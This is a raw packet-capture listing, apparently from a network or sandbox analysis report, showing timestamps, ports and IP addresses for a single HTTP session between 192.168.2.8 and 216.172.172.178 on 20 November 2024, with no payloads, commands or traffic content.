Nov 20, 2024 07:53:13.202456951 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.202469110 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.202481031 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.202492952 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.202507019 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.202524900 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.202574015 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.242918015 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243063927 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243077040 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243088961 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243099928 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243112087 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243139982 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243158102 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243169069 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243187904 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243200064 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243211031 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243221998 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243232965 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243243933 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243257999 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243269920 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243282080 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243292093 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243304968 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243302107 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243302107 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243302107 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243371964 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243371964 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243371964 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243372917 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243566990 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243578911 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243607998 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243619919 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243627071 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243630886 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243645906 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243657112 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243662119 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243669987 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243680954 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243685961 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243694067 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243710041 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243716955 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243731976 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243743896 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243743896 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243771076 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243786097 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243798018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243809938 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243827105 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243858099 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.243968010 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243979931 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.243990898 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244003057 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244015932 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244023085 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244040012 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244046926 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244060040 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244071960 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244083881 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244096041 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244097948 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244112015 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244122028 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244128942 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244138002 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244164944 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244164944 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244179010 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244191885 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244210958 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244224072 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244229078 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244235992 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244247913 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244252920 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244261026 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244275093 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244278908 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244285107 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244301081 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244318962 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244438887 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244452000 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244463921 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244477034 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244484901 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244488955 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244503975 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244513988 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244519949 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244532108 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244545937 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244556904 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244584084 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244787931 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244801044 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244812965 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244833946 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244848967 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244934082 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244946957 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244959116 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244970083 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244982004 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.244986057 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.244995117 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245006084 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245012999 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245029926 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245043039 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245054960 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245065928 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245079041 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245080948 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245094061 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245106936 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245109081 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245121002 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245132923 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245137930 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245145082 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245157003 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245168924 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245171070 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245182991 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245197058 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245208979 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245244980 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245405912 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245418072 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245429993 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245451927 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245455027 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245481014 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245497942 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245498896 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245512009 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245523930 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245537043 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245543003 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245548964 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245559931 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245567083 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245568037 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245574951 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245585918 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.245606899 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.245629072 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.289258003 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.289381027 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.289391041 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.289402962 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.289414883 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.289426088 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.289438009 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.289450884 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.289652109 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.289653063 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.329763889 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329828024 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329843044 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329857111 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329863071 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329868078 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329874992 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329895973 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329905987 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329917908 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329922915 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329930067 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329941988 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.329950094 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.329998016 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330010891 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330017090 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330018044 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330024004 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330040932 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330051899 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330075979 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330100060 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330240965 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330252886 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330265999 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330342054 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330353975 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330364943 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330374956 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330387115 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330399036 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330406904 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330427885 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330427885 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330427885 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330427885 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330441952 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330446959 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330455065 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330466032 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330477953 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330483913 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330487013 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330497026 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330514908 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330530882 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330537081 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330542088 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330554008 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330564022 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330574989 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330575943 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330586910 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330596924 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330626965 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330673933 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330683947 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330694914 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330713034 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330713034 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330733061 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330745935 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330746889 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330759048 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330770969 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330777884 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330796003 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330883026 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330894947 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330908060 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330919027 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330921888 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330955029 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330957890 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.330966949 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330980062 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.330992937 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331005096 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331012011 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331017971 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331022978 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331031084 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331048965 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331079006 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331161976 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331175089 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331211090 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331218004 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331223011 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331243038 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331252098 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331276894 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331285954 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331654072 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331665039 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331675053 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331686020 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331698895 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331710100 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331710100 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331722975 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331727028 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331728935 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331734896 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331788063 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331792116 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331804037 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331814051 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331825018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331830978 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331835032 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331845999 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331849098 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331857920 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331868887 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331877947 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331882000 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331893921 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331907034 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331911087 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331918001 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331923008 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331923008 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331928968 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331939936 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331958055 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331958055 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331978083 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.331983089 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.331989050 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332001925 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332011938 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332019091 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.332025051 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332036018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332047939 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332056999 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.332060099 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332070112 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332076073 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332078934 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.332087994 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332093000 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.332099915 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332110882 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332122087 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.332123041 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332134962 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.332142115 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.332159996 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.332175016 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.376348972 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.376364946 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.376374960 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.376435041 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.376449108 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.376460075 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.376468897 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.376483917 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.376539946 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.416621923 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416651011 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416661024 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416671991 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416682959 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416695118 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416780949 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416790009 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416795015 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416800022 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416825056 CET	80	49707	216.172.172.178	192.168.2.8
